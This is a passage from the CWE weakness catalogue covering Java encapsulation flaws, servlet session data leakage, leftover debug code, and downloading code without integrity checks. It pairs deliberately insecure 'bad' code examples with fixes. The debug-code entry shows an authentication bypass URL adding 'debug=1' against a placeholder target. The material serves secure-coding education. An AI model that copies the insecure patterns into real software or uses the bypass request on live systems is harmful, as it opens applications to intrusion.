Confidentiality	Read Application Data *Any data in a Java package can be accessed outside of the Java framework if the package is distributed.*	
Integrity	Modify Application Data *The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
package math;
public class Lebesgue implements Integration{
    public final Static String youAreHidingThisFunction(functionToIntegrate){
        return ...;
    }
```

```
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Relying on package-level scope
The CERT Oracle Secure Coding Standard for Java (2011)	MET04-J		Do not increase the accessibility of overridden or hidden methods

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID : 488 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Nature	Type	ID	Name	Page
CanFollow	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1144

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	2016

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Demonstrative Examples

Example 1:

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Example Language: Java *(bad)*

```
public class GuestBook extends HttpServlet {
    String name;
    protected void doPost (HttpServletRequest req, HttpServletResponse res) {
        name = req.getParameter("name");
        ...
        out.println(name + ", thanks for visiting!");
    }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1920
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Data Leaking Between Users

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-489: Active Debug Code

Weakness ID : 489 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.

Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	9
CanPrecede	B	215	Insertion of Sensitive Information Into Debugging Code	507

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Other	Bypass Protection Mechanism Read Application Data Gain Privileges or Assume Identity Varies by Context *The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.*	

Potential Mitigations

Phase: Build and Compilation

Phase: Distribution

Remove debug code before deploying the application.

Demonstrative Examples

Example 1:

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Example Language: HTML *(bad)*

```
<FORM ACTION="/authenticate_login.cgi">
   <INPUT TYPE=TEXT name=username>
   <INPUT TYPE=PASSWORD name=password>
   <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

Example Language: *(informative)*

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Example Language: *(attack)*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Notes

Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Leftover Debug Code
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP28		Unexpected access points

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
121	Exploit Test APIs

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID : 491 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Make the cloneable() method final.

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Example Language: Java *(bad)*

```
public class BankAccount implements Cloneable{
    public Object clone(String accountnumber) throws
    CloneNotSupportedException
    {
        Object returnMe = new BankAccount(account number);
        ...
    }
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Example Language: Java *(bad)*

```
protected Object clone() throws CloneNotSupportedException {
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Object Hijack

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-453]OWASP. "OWASP , Attack Category : Mobile code: object hijack". < http://www.owasp.org/index.php/Mobile_code:_object_hijack >.

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID : 492 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Extended Description

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in its enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
	"Inner Classes" data confidentiality aspects can often be overcome.	

Potential Mitigations

Phase: Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Phase: Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly makes use of an inner class.

Example Language: Java *(bad)*

```
public final class urlTool extends Applet {
    private final class urlHelper {
        ...
    }
    ...
}
```

Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

Example Language: Java *(bad)*

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a member inner class of OuterClass
    private class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass has access to private member variables of OuterClass
            System.out.println("Value of memberOne is: " + memberOne);
            return OuterClass.this.memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class InnerClass is declared using the static modifier that signifies that InnerClass is a static member of the enclosing class OuterClass. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class InnerClass can only access the static member variable memberTwo of the enclosing class OuterClass but cannot access the nonstatic member variable memberOne.

Example Language: Java *(good)*

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

Example 3:

In the following example the BankAccount class contains the private member inner class InterestAdder that adds interest to the bank account balance. The start method of the BankAccount class creates an object of the inner class InterestAdder, the InterestAdder inner class implements the ActionListener interface with the method actionPerformed. A Timer object created within the start method of the BankAccount class invokes the actionPerformed method of the InterestAdder class every 30 days to add the interest to the bank account balance based on the interest rate passed to the start method as an input parameter. The inner class InterestAdder needs access to the private member variable balance of the BankAccount class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because InterestAdder is a non-static member inner class of the BankAccount class, InterestAdder also has access to the private member variables of the BankAccount class - including the sensitive data contained in the private member

variables for the bank account owner's name, Social Security number, and the bank account number.

Example Language: Java *(bad)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(double rate)
    {
        ActionListener adder = new InterestAdder(rate);
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
    // InterestAdder is an inner class of BankAccount class
    // that implements the ActionListener interface
    private class InterestAdder implements ActionListener
    {
        private double rate;
        public InterestAdder(double aRate)
        {
            this.rate = aRate;
        }
        public void actionPerformed(ActionEvent event)
        {
            // update interest
            double interest = BankAccount.this.balance * rate / 100;
            BankAccount.this.balance += interest;
        }
    }
}
```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

Example Language: Java *(good)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
```

```
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // InterestAdder is a local inner class
        // that implements the ActionListener interface
        class InterestAdder implements ActionListener
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        }
        ActionListener adder = new InterestAdder();
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}
```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

Example Language: Java *(good)*

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
    int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // anonymous inner class that implements the ActionListener interface
        ActionListener adder = new ActionListener()
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        };
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
```

```
    }
}
```

Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Example Language: *(bad)*

```
public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    // and creates button listener object
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        ActionListener submitButtonListener = new SubmitButtonListener();
        submitButton.addActionListener(submitButtonListener);
    }
    // button listener inner class for UrlToolApplet class
    private class SubmitButtonListener implements ActionListener {
        public void actionPerformed(ActionEvent evt) {
            if (evt.getSource() == submitButton) {
                String urlString = enterUrlTextField.getText();
                URL url = null;
                try {
                    url = new URL(urlString);
                } catch (MalformedURLException e) {
                    System.err.println("Malformed URL: " + urlString);
                }
                if (url != null) {
                    getAppletContext().showDocument(url);
                }
            }
        }
    }
}
```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

Example Language: Java *(good)*

```
public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
```

```
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        submitButton.addActionListener(this);
    }
    // implementation of actionPerformed method of ActionListener interface
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
            } catch (MalformedURLException e) {
                System.err.println("Malformed URL: " + urlString);
            }
            if (url != null) {
                getAppletContext().showDocument(url);
            }
        }
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	966	SFP Secondary Cluster: Other Exposures	888	1943
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Notes

Other

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Use of Inner Class
CLASP			Publicizing of private data when using inner classes
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ08-J		Do not expose private members of an outer class from within a nested class

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID : 493 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	V	500	Public Static Field Not Marked Final	1069

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Potential Mitigations

Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Example Language: Java *(bad)*

```
public final class WidgetData extends Applet {
    public float price;
    ...
    public WidgetData(...) {
        this.price = LookupPrice("MyWidgetType");
    }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++ *(bad)*

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java *(bad)*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Non-Final Public Field
CLASP			Failure to provide confidentiality for stored data
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-494: Download of Code Without Integrity Check

Weakness ID : 494 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307
PeerOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
CanFollow	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality Other	Execute Unauthorized Code or Commands Alter Execution Logic Other *Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Phase: Architecture and Design

Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

